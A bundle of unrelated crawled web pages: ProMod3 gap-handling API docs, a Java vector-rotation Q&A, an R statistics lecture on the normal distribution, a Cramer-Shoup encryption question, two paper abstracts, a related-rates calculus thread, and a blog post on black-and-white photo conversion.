https://openstructure.org/promod3/1.3/modelling/gap_handling/	You are reading the documentation for version 1.3 of ProMod3. You may also want to read the documentation for: 2.0 2.1 3.0 3.1 3.2 # Handling Gaps¶ This chapter describes the gap classes and functionality attached to them. These classes / functions are used within the modelling pipeline. ## Gap classes¶ class promod3.modelling.StructuralGap(before, after, seq) Describes a structural gap, i.e. a loop to be modeled. The gap may either be terminal or between two defined regions. The gap stores information of the last residue before and the first residue after the gap as well as the sequence of gap. Gaps at the N- and C-terminals can be defined by passing invalid residue handles to before or after. Parameters: before (ost.mol.ResidueHandle) – Fills before after (ost.mol.ResidueHandle) – Fills after seq (str) – Fills seq A RuntimeError if both residues are invalid or when both are valid and: residues are from different chains (if both valid) before is located after after seq has a length which is inconsistent with the gap GetChainIndex() Returns: Index of chain, the gap is belonging to int GetChainName() Returns: Name of chain, the gap is belonging to str GetChain() Returns: Chain, the gap is belonging to ost.mol.ChainHandle IsNTerminal() Returns: True, iff gap is N-terminal (i.e. before is invalid and after is valid) bool IsCTerminal() Returns: True, iff gap is C-terminal (i.e. before is valid and after is invalid) bool IsTerminal() Returns: True, iff gap is N- or C-terminal bool ShiftCTerminal() Try to shift gap by one position towards C-terminal. Only possible if new gap is not terminal and it doesn’t try to shift the gap past another gap. Returns: True, iff shift succeeded (gap is only updated in that case) bool ExtendAtNTerm() Try to extend gap at N-terminal end of gap. Only possible if the gap is not at N-terminal and it doesn’t try to extend the gap past another gap. Returns: True, iff extend succeeded (gap is only updated in that case) bool ExtendAtCTerm() Try to extend gap at C-terminal end of gap. Only possible if the gap is not at C-terminal and it doesn’t try to extend the gap past another gap. Returns: True, iff extend succeeded (gap is only updated in that case) bool GetLength() Returns: Length of the gap. int Copy() Returns: Copy of the gap. StructuralGap length Alias for GetLength() (read-only, int) seq Sequence string for the gap (read-only, str) before Residue before the gap (read-only, ost.mol.ResidueHandle) after Residue after the gap (read-only, ost.mol.ResidueHandle) full_seq Full sequence, including stem residues (read-only) class promod3.modelling.StructuralGapList Represents a list of StructuralGap. ## Gap Extender classes¶ The extender classes work on a given StructuralGap and provide an Extend() function to propose new gaps for loop modelling. The function returns False if no new extension possible. class promod3.modelling.GapExtender(gap, seqres) The extender cycles through the following steps: - -- -- --- --- --- ---- ---- ---- ---- Parameters: gap (StructuralGap) – The gap which will be extended by Extend(). seqres (str / ost.seq.SequenceHandle) – The full sequence of the chain, the gap is associated with. An exception if a terminal gap is used to construct this. Extend() Tries to extend gap. Returns: False, if the gap cannot be extended any further. This happens if it reaches a terminal or another insertion gap. Otherwise, the gap passed to the constructor is changed. The gaps are extended with ascending length and will always have valid termini. bool class promod3.modelling.FullGapExtender(gap, seqres, max_length=-1) Cycles as GapExtender, but continues even if another gap was encountered. Parameters: gap (StructuralGap) – The gap which will be extended by Extend(). seqres (str / ost.seq.SequenceHandle) – The full sequence of the chain, the gap is associated with. max_length (int) – If -1, all possible non-terminal gaps are returned. If >= 0, this restricts the max. gap-length (w/o termini) producable by Extend(). An exception if a terminal gap is used to construct this. Extend() Tries to extend gap. Returns: False, if the gap cannot be extended without exceeding max_length. Otherwise, the gap passed to the constructor is changed. The gaps are extended with ascending length and will always have valid termini. bool class promod3.modelling.ScoringGapExtender(gap, extension_penalty, penalties, seqres, max_length=-2) The extender scores possible gap extensions and returns them in order of their score when Extend() is called. The score is penalized according to length and according to certain (well conserved) regions in the structure as defined by penalties. score = num_gap_extensions * extension_penalty + sum( penalties [i] ) (i = resnum - 1 of residues in extension) Parameters: gap (StructuralGap) – The gap which will be extended by Extend(). extension_penalty (float) – Penalty for length of gap. penalties (list of float) – Penalty for each residue added to gap. seqres (str / ost.seq.SequenceHandle) – The full sequence of the chain, the gap is associated with. max_length (int) – If -2, GapExtender is used instead of FullGapExtender (i.e. it stops at gaps and termini). If -1, all possible non-terminal gaps are returned. If >= 0, this restricts the max. gap-length (w/o termini) producable by Extend(). An exception if a terminal gap is used to construct this. Extend() Tries to extend gap. Returns: False, if the gap cannot be extended any further. Otherwise, gap is changed and returned in ascending score. The updated gap will always have valid termini. bool class promod3.modelling.ShiftExtension(n_num, c_num) Implements the underlying extension scheme of the GapExtender. It is not associated to any structural data, it just spits out the residue numbers according to the extension scheme described above. Parameters: n_num (int) – N residue number to start with c_num (int) – C residue number to start with Extend() Returns: The next residue numbers for n_stem and c_stem tuple ## Gap Handling Functions¶ promod3.modelling.CountEnclosedGaps(mhandle, gap) promod3.modelling.CountEnclosedInsertions(mhandle, gap) Counts all gaps from mhandle which are fully enclosed by given gap. This is either all gaps or only insertions. Parameters: mhandle (ModellingHandle) – Modelling handle on which to apply change. gap (StructuralGap) – Gap defining range in which gaps are to be removed. Number of gaps. int promod3.modelling.ClearGaps(mhandle, gap) Removes all gaps from mhandle which are fully enclosed by given gap. Parameters: mhandle (ModellingHandle) – Modelling handle on which to apply change. gap (StructuralGap) – Gap defining range in which gaps are to be removed. Index of next gap in mhandle.gaps after removal. Returns -1 if last gap was removed or no gaps in mhandle. int A RuntimeError if any gap in mhandle.gaps is only partially enclosed by given gap. promod3.modelling.InsertLoopClearGaps(mhandle, bb_list, gap) Insert loop into model, update scoring environments and remove all gaps from mhandle which are fully enclosed by given gap (see InsertLoop() and ClearGaps()). Parameters: mhandle (ModellingHandle) – Modelling handle on which to apply change. bb_list (BackboneList) – Loop to insert (backbone only). gap (StructuralGap) – Gap defining range of loop to insert (must be consistent!). Index of next gap in mhandle.gaps after removal. Returns -1 if last gap was removed or no gaps in mhandle. int A RuntimeError if bb_list and gap are inconsistent or if any gap in mhandle.gaps is only partially enclosed by gap. promod3.modelling.MergeGaps(mhandle, index) Merges two gaps mhandle.gaps[index] and mhandle.gaps[index+1]. The residues in between the gaps are removed from mhandle.model and added to the new mhandle.gaps[index]. Parameters: mhandle (ModellingHandle) – Modelling handle on which to apply change. index (int) – Index of gap to merge with next one. A RuntimeError if indices out of range or if trying to merge gaps of different chains or an N-terminal gap with a C-terminal gap. ## Search Enter search terms or a module, class or function name. Model Checking ## Next topic Handling Loop Candidates	2022-08-09 22:10:33	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.28383076190948486, "perplexity": 5604.331805507103}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571090.80/warc/CC-MAIN-20220809215803-20220810005803-00231.warc.gz"}
https://codedump.io/share/U9KQLC63lSFF/1/rotating-a-vector-by-angle-and-axis-in-java	Biel Simon - 9 months ago 60 Java Question # Rotating a vector by angle and axis in java I know there are lots of questions and answers about this topic or related but i've beenn trying for 2 hours and still haven't benn able to figure it. I would like to get a function that looks like this: public static Vector rotateVector(Vector v, Vector axis, double angle){ } Where the axis is a unit vector that defines the plane of rotation (the vector v rotates towards the vector axis if angle is positive) I have already taken a look at rotation matrices but haven't been able to implement those to the above function Rotating (x, y, z) counter clockwise around unit vector (u, v, w) by angle theta produces a vector (xPrime, yPrime, zPrime): double xPrime = u(ux + vy + wz)(1d - Math.cos(theta)) + xMath.cos(theta) + (-wy + vz)Math.sin(theta); double yPrime = v(ux + vy + wz)(1d - Math.cos(theta)) + yMath.cos(theta) + (wx - uz)Math.sin(theta); double zPrime = w(ux + vy + wz)(1d - Math.cos(theta)) + zMath.cos(theta) + (-vx + uy)*Math.sin(theta); Source here.	2017-08-21 01:04:22	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.540887176990509, "perplexity": 3259.8496165891725}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-34/segments/1502886107065.72/warc/CC-MAIN-20170821003037-20170821023037-00255.warc.gz"}
https://www.math.ntnu.no/emner/ST2304/2021v/Week04/Lecture4Module.html	## Recap Begin with the intro video So far we have • learned about maximising the likelihood • estimated confidence intervals and standard errors These are the basic tools we will use to fit and understand our models ## More than one datum So far we have only used one data point. But what if we have more? The standard approach starts by making one additional assumption: that each data point is collected independently of the rest. This would mean that each time data is collected, it doesn’t depend on what the last data point was. If we assume that the data are independent, then from the definition of independence: $$Pr(X_1 \& X_2) = Pr(X_1) Pr(X_2)$$ So, because the likelihood is the probability of each data point given the parameters, we can calculate the likelihood for the parameters ($$\theta$$) given all of the data ($$X_i$$’s) by multiplying the probabilities: $Pr(X_1, X_2,...,X_n\|\theta) = Pr(X_1\|\theta)Pr(X_2\|\theta)...Pr(X_n\|\theta) = \prod_ {i=1}^{n} Pr(X_i\theta)$ But we usually work on the log-likelihood scale, where we have: $l(\theta\|X_1, X_2,...,X_n) = \sum_{i=1}^{n} \log(Pr(X_i\|\theta))$ So, we just add the log-likelihoods together, which is easier than multiplying, and makes a lot of the maths easier. ## Punxsutawney Phil & Groundhog Day Every 2nd of February, the town of Punxsutawney in the US has a ritual where they go to Gobbler’s Knob, drag a groundhog out of the ground, call it Phil, and ask it if it sees Bill Murray’s its shadow. If Punxsutawney Phil sees his shadow, he’ll decide to retreat, because there will be another 6 weeks of winter. The data can be found here: https://www.math.ntnu.no/emner/ST2304/2021v/Week04/GroundhogDayta.csv It is a .csv file and can be downloaded AND imported using read.csv() and the full url above. The question is whether Punxsutawney Phil is actually any good at predicting the weather. We will answer that by looking at whether he sees his shadow, and the temperature for the following 6 weeks. Before getting to the question of whether Phil is any good as a weatherman, we’ll look at the distribution of the temperature. Of the 122 observations, 56 are above freezing (above 32 degrees Fahrenheit as it is the USA). But we want to summarise the data in more detail, partly so we can ask more complicated questions and also so we can develop the theory. We will do this with the normal distribution. ## The Normal Distribution The normal distribution looks like this: Or, for those who like equations, like this: $f(x\| \mu, \sigma^2) = \frac{1}{\sqrt{2 \pi \sigma^2}} e^{-\frac{(x - \mu)^2}{2\sigma^2} }$ $$x$$ is the thing that follows a normal distribution (e.g. temperature). $$f(x\|\mu, \sigma^2)$$ is the density: a higher density means that value of $$x$$ is more likely1. We call $$f(x\|\mu, \sigma^2)$$ the probability density function, and use it to calculate the probability that $$x$$ is between two values (e.g. $$Pr(-1.96 < x < 1.96\| \mu=0, \sigma^2 = 1) = 0.95$$ ) The parameters are $$\mu$$ and $$\sigma^2$$: the mean and variance (sometikmes we use the standard deviation, $$\sigma$$, rather than $$\sigma^2$$, or even $$1/\sigma^2$$, the precision). We can split the function up into bits. The first part is $\frac{1}{\sqrt{2 \pi \sigma^2}}$ which does not depend on $$x$$, so is a constant. It is there because the area under the whole curve has to equal 1. More important is the second part $e^{-\frac{(x - \mu)^2}{2\sigma^2} }$ If we take the log transformation (so we have the log probability, or later the log likelihood) we see that it is this $-\frac{(x - \mu)^2}{2\sigma^2}$ So is a quadratic curve, and looks like this: ## The Normal Distribution: Exercises For these exercises you will need a few extra functions. You can find them by using source() to import and run a script found here https://www.math.ntnu.no/emner/ST2304/2021v/Week04/NormalDistFunctions.R Let’s look at the normal distribution, and some R functions we can use to play with it. In particular: • rnorm() - this simulates from a normal distribution. Takes arguments: n = number of observations to simulate, mean = mean of the normal distribution you simulate from, sd = standard deviation of the normal distribution you simulation from. • dnorm() - this calculates the density of a normal distribution for values x. First argument is x, then mean. sd, and log which can = TRUE or FALSE. • pnorm() - this calculates the cumulative density of a normal distribution for values x. This is the probability that a random draw from the distribution would be less than x. First argument is q = quantiles you want the probability for, then mean and sd. • qnorm() - this calculates the values of x that would be the qth quantile. First argument is p = probabilities you want x for, then mean and sd. Simulate 1000 data points from a normal distribution with the same mean and standard deviation as the temperature data, using rnorm() and plot with hist() R help You will need to edit this code. MeanTemp <- mean(YOURDATA$Temperature) sdTemp <- sd(YOURDATA$Temperature) sim.data <- rnorm(n=5, mean = MeanTemp, sd = sdTemp) hist(sim.data) MeanTemp <- mean(GDay$Temperature) sdTemp <- sd(GDay$Temperature) sim.data <- rnorm(n=1000, mean = MeanTemp, sd = sdTemp) hist(sim.data) Calculate the density data from the distribution for values using dnorm(), but for more than 4 points and plot it with plot() - why is the density different from the probability (hint: the normal is continuous) You might also want to use seq() to create the input for dnorm(). This will mean that the numbers are in ascending order rather than mixed like the raw data from the question above. R help if you need it # First, create a sequence of numbers to calculate the density on At.data <- seq(min(YOURDATA$Temperature), # takes the minimum temperature value max(YOURDATA$Temperature), # takes the maximum temperature value length = 4) # tells R how many to have in the sequence # create the density data dens.data <- dnorm(At.data, mean = MeanTemp, sd = sdTemp) # plot it plot(x = At.data, y = dens.data, type="l") The density is different to the probability for the normal distribution because it is a continuous distribution. Therefore, the likelihood of observing any combination of observed data points for a given parameter value is 0 because there are infinite possibilities of observed data. So, instead we take the probability density of observed data points being between two values (often very close together). # First, create a sequence of numbers to calculate the density on At.data <- seq(min(GDay$Temperature), # takes the minimum temperature value max(GDay$Temperature), # takes the maximum temperature value plot(x = At.data, y = dens.data, type="l")	2022-10-05 03:42:39	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 2, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.74957275390625, "perplexity": 769.1737163157859}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337531.3/warc/CC-MAIN-20221005011205-20221005041205-00183.warc.gz"}
https://math.stackexchange.com/questions/3643951/elliptic-curve-public-key-encryption-schemes-cramer-shoup	# Introduction I know how to do Cramer-Shoup with cyclic groups. But how do I do it in elliptic curve cryptogrpahy (ECC)? # Cramer-Shoup with cyclic groups Following was taken from Wikipedia: https://en.wikipedia.org/wiki/Cramer%E2%80%93Shoup_cryptosystem ## Key Generation • Alice generates an efficient description of a cyclic group $$G$$ of order $$q$$ with two distinct, random generators $$g_1, g_2$$. • Alice chooses five random values $$({x}_{1}, {x}_{2}, {y}_{1}, {y}_{2}, z)$$ from $$\{0, \ldots, q-1\}$$. • Alice computes $$c = {g}_{1}^{x_1} g_{2}^{x_2}, d = {g}_{1}^{y_1} g_{2}^{y_2}, h = {g}_{1}^{z}$$. • Alice publishes $$(c, d, h)$$, along with the description of $$G, q, g_1, g_2$$, as her public key. Alice retains $$(x_1, x_2, y_1, y_2, z)$$ as her secret key. The group can be shared between users of the system. ## Encryption To encrypt a message $$m$$ to Alice under her public key $$(G,q,g_1,g_2,c,d,h)$$, • Bob converts $$m$$ into an element of $$G$$. • Bob chooses a random $$k$$ from $$\{0, \ldots, q-1\}$$, then calculates: • $$u_1 = {g}_{1}^{k}, u_2 = {g}_{2}^{k}$$ • $$e = h^k m$$ • $$\alpha = H(u_1, u_2, e)$$, where ''H''() is a universal one-way hash function (or a collision-resistant cryptographic hash function, which is a stronger requirement). • $$v = c^k d^{k\alpha}$$ • Bob sends the ciphertext $$(u_1, u_2, e, v)$$ to Alice. ## Decryption To decrypt a ciphertext $$(u_1, u_2, e, v)$$ with Alice's secret key $$(x_1, x_2, y_1, y_2, z)$$, • Alice computes $$\alpha = H(u_1, u_2, e) \,$$ and verifies that $${u}_{1}^{x_1} u_{2}^{x_2} ({u}_{1}^{y_1} u_{2}^{y_2})^{\alpha} = v \,$$. If this test fails, further decryption is aborted and the output is rejected. • Otherwise, Alice computes the plaintext as $$m = e / ({u}_{1}^{z}) \,$$. The decryption stage correctly decrypts any properly-formed ciphertext, since $${u}_{1}^{z} = {g}_{1}^{k z} = h^k \,$$, and $$m = e / h^k. \,$$ If the space of possible messages is larger than the size of $$G$$, then Cramer–Shoup may be used in a hybrid cryptosystem to improve efficiency on long messages. # Questions • How to convert Cramer-Shoup into ECC? • How do I proof the security of ECC Cramer-Shoup? # Literature Cramer, Ronald and Victor Shoup (1998). “A practical public key cryptosystem provably secure against adaptive chosen ciphertext attack.” Advances in Cryptology—CRYPTO'98, Lecture Notes in Computer Science, vol. 1462, ed. Hugo Krawczyk. Springer-Verlag, Berlin, 13–25.	2020-10-24 09:52:21	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 28, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9011221528053284, "perplexity": 2085.7599587239465}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-45/segments/1603107882103.34/warc/CC-MAIN-20201024080855-20201024110855-00507.warc.gz"}
https://projecteuclid.org/euclid.aop/1176995725	## The Annals of Probability ### A Generalization of the Karlin-McGregor Theorem on Coincidence Probabilities and an Application to Clustering F. K. Hwang #### Abstract Karlin and McGregor calculated the coincidence probabilities for $n$ particles independently executing a Markov process of a certain class. This note extends their result by allowing the particles to have different stopping times. Applied to a one-dimensional clustering problem, this gives a new solution computationally simpler than previous ones. #### Article information Source Ann. Probab., Volume 5, Number 5 (1977), 814-817. Dates First available in Project Euclid: 19 April 2007 https://projecteuclid.org/euclid.aop/1176995725 Digital Object Identifier doi:10.1214/aop/1176995725 Mathematical Reviews number (MathSciNet) MR471014 Zentralblatt MATH identifier 0375.60076 JSTOR Subjects Primary: 60J05: Discrete-time Markov processes on general state spaces Secondary: 60E05: Distributions: general theory #### Citation Hwang, F. K. A Generalization of the Karlin-McGregor Theorem on Coincidence Probabilities and an Application to Clustering. Ann. Probab. 5 (1977), no. 5, 814--817. doi:10.1214/aop/1176995725. https://projecteuclid.org/euclid.aop/1176995725	2019-12-13 11:35:51	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4049222767353058, "perplexity": 4297.719979711472}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-51/segments/1575540553486.23/warc/CC-MAIN-20191213094833-20191213122833-00351.warc.gz"}
https://www.clp.ac.cn/articles/OJcea786b2858b0dac	Search by keywords or author • High Power Laser Science and Engineering • Vol. 4, Issue 4, 04000e40 (2016) Xinhua Xie1、2、†, Stefan Roither1, Daniil Kartashov1, Li Zhang1, Andrius Baltuška1, and Markus Kitzler1 Author Affiliations • 1Photonics Institute, Technische Universität Wien, A-1040 Vienna, Austria • 2Institute of Theoretical Chemistry, University of Vienna, A-1090 Vienna, Austria • show less Abstract We report on the observation of subcycle interferences of electron wave packets released during strong field ionization of $\text{H}_{2}$ with cycle-shaped two-color laser fields. With a reaction microscope we measure three-dimensional momentum distributions of photoelectrons correlated with either $\text{H}_{2}^{+}$ or protons within different energy ranges generated by dissociation of $\text{H}_{2}^{+}$. We refer to these different types of photoelectrons as channels. Our results show that the subcycle interference structures of electron wave packets are very sensitive to the cycle shape of the two-color laser field. We explain this behavior by the dependence of the ionization time within an optical cycle on the shape of the laser field cycle. The subcycle interference structures can be further used to obtain insight into the subcycle dynamics of molecules during strong field interaction. Copy Citation Text Xinhua Xie, Stefan Roither, Daniil Kartashov, Li Zhang, Andrius Baltuška, Markus Kitzler. Channel-resolved subcycle interferences of electron wave packets emitted from H2 in two-color laser fields[J]. High Power Laser Science and Engineering, 2016, 4(4): 04000e40	2021-09-20 22:41:42	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3354478180408478, "perplexity": 6441.421799872785}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780057119.85/warc/CC-MAIN-20210920221430-20210921011430-00058.warc.gz"}
http://mathhelpforum.com/calculus/38011-rate-change-area.html	Thread: rate of change of an area 1. rate of change of an area I am asked to find the rate of change of the area of a rectangle, given it's length is 15 ft, and increasing at 3 ft/sec, and it's width is 6 ft, increasing at 2 ft/sec. Rate of change of the area (dA) should just be the product of the other two rates (dx*dy) right? or am I missing something? Please help. 2. The area is given by A=LW Therefore, by the product rule: $\frac{dA}{dt}=L\frac{dW}{dt}+W\frac{dL}{dt}$ $\frac{dA}{dt}=15(2)+6(3)=48$ 3. hmmm... I am unfamiliar with this rule. Or at least, I may need a refresher to remember it.	2016-08-24 11:21:02	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 2, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7242240905761719, "perplexity": 347.3047702504165}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-36/segments/1471982292151.8/warc/CC-MAIN-20160823195812-00070-ip-10-153-172-175.ec2.internal.warc.gz"}
http://thegreyblog.blogspot.co.uk/2012/07/	## Sunday, July 29, 2012 ### Notes on Dynamic Range, Gamma Correction and the Importance of Shooting RAW Some months ago I wrote a quick blog post titled "Tones and Dynamic Range. Why You Should Shoot RAW". In that post I quickly analysed the shortcomings of files with low bit depths (such as 8 bits) and tried to give a valid reason why a photographer should always shoot RAW. Unfortunately, the limitation of the blogging platform and the time restrictions I've got make writing this kind of content awkward, at a minimum. Here's a document featuring the same content, although better organized. Notes on Dynamic Range, Gamma Correction and the Importance of Shooting RAW v. 1.2 (PDF) ## Monday, July 23, 2012 ### Adobe Photoshop Lightroom Tutorial - Part XXIII - Understanding Channel Mixing to Achieve Effective Black and White Photos Part I - Index and Introduction Converting a photo to black and white may seem one of the easiest thing you can do with your photo editing software of choice. Unfortunately, nothing could be further than the truth, and if you don't do it correctly you may end up with dull images, very different from what you thought you'd get. ## The Basic Fallacy: Zeroing the Color Saturation (Depending on the Tool You Use) An approach I see very often to convert an image to black and white is zeroing the color saturation. What's worse, I sometimes hear theories about not-well-defined advantages of this technique. You get a black and white image, of course. But that image doesn't represent the luminance your eyes are seeing, let alone the intuitive result you think you'd get. Depending on the colors that are present in the shot and their saturation, differences can either be subtle or very deep. What's interesting to note, as we'll see in a minute, is that most differences will be noticeable on deep blues and saturated reds. Think about: skies and some skin tones. Indeed, this doesn't look like a great deal. Without going into the technical detailes about concepts like relative luminance or luma in colorimetric spaces, a photographer should understand that the luminance values of pure RGB colors aren't all equal to the human eye. In fact, many standards try to model the behaviour of the human eye and most photo editing programs provide us the tools we require to achieve predictable results, according to how the human eye works. Just for the sake of example, here's the transform matrix from RBG to CIE 1931, where Y is the luminance: As you can see, red contribution to luminance is approximately 4 times greater than green's (0.17697 vs. 0.81240) and more than 16 times greater than blue's (0.17697 vs. 0.01063). Another example can be seen in the transform matrix from RGB to the Y'UV color space: We can see the contribution of each RGB channel to the value of Y' (luma, a gamma compressed luminance). Once again, the contribution of red is smaller than green (0.299 vs. 0.587) and bigger than blue's (0.299 vs. 0.114). What can we infer from this? That green brings the greatest contribution to the luminance value, followed at a big distance by red, and finally by blue. In other words: given three pure RGB colors with the same component: • Green will be much brighter than the others, • Red will be much darker than green but slightly brighter than blue, • Blue will be the darkest of all. ### What happens, then, zeroing the RGB color saturation? What happens is simple: the smaller the saturation, the more colors will tend to equal a specific grey value. We're not interested in knowing which grey tone, but the important thing is that each channel will then have the same luminance. Here's a visual example, better than a thousand words: in the following images you can see the same color chart with different values of color saturation: 100%, 50%, 25% and 0%. Color Chart - Saturation: 100% Color Chart - Saturation: 50% Color Chart - Saturation: 25% Color Chart - Saturation: 0% What's clear from this example is that zeroing the color saturation is not what you want during a conversion to black and white. In fact, to achieve balanced and realistic results, or results that at least would faithfully represent what you're eyes are seeing, you'd expect relative luminance between different RGB colors to be respected. That is, red should be a darker shade of grey than green and blue an even darker shade of green. What can you do, then? Simple: use the tools provided by your photo editing program and forget about the saturation adjustment. To say the truth, this also depends on the tool you use. The saturation control of some photo editors, such as Lightroom, behave differently than this and, in fact, apply a default mix when desaturating colors. Even so, even basic photo editing programs have got a "Convert to black and white" feature which will hopefully do a better job than you can do with the saturation slider. More sophisticated program may offer better tool, the "channel mixer" being the most interesting and flexible from a photographer's point of view. ## Channel Mixing As we've seen, it's necessary to "mix" RGB values with certain coefficients to simulate the behaviour of the human eye, as far as relative luminance across RGB color is concerned. That's exactly what the channel mixer can do for you, and that's why it's an omnipresent feature of good photo editing programs, although little known to many amateurs. The channel mixer simply lets you change the coefficient with which each color contributes to the luminance. Raising a color's coefficient means that its contribution will be bigger, and thus will appear brighter. On the contrary, lowering a color's coefficient means that its contribution will be smaller, and thus will appear darker. Adobe Lightroom 4 applies a default "mix" when converting to black and white which I found pretty acceptable. However, since the tool is there to use it, I almost always tweak the mix a little bit to achieve the results I desire. For example, I often raise the value of the red and orange channels in portraits in order to reduce speckles and imperfections and to slightly brighten the skin. Here's the result you achieve in Lightroom 4 when desaturating the reference color chart: Lightroom 4 - Saturation: -100 As you can see, it has done a much better job than Photoshop in this case (beware: I say "much better" from a photographer's point of view, not from a theoretical one). Now, reds and blues are darker than greens, as expected. On the other hand, if you convert it to black and white, here's the result you get: Lightroom 4 - Black & White - Default Mix and here's the default mix applied by Lightroom: Lightroom 4 - Default Black & White Mix The result is somewhat less contrasted, and you can see how blues are slightly brighter (+9) and greens are slightly darker (-27). The point is there's no right or wrong here: the Black & White mix is a tool you can use to fine tune your shot and is much more flexible than just zeroing the saturation. For example: if you want a darker sky, for example, just decrease the Blue contribution. if you want some brighter reds, just increase their 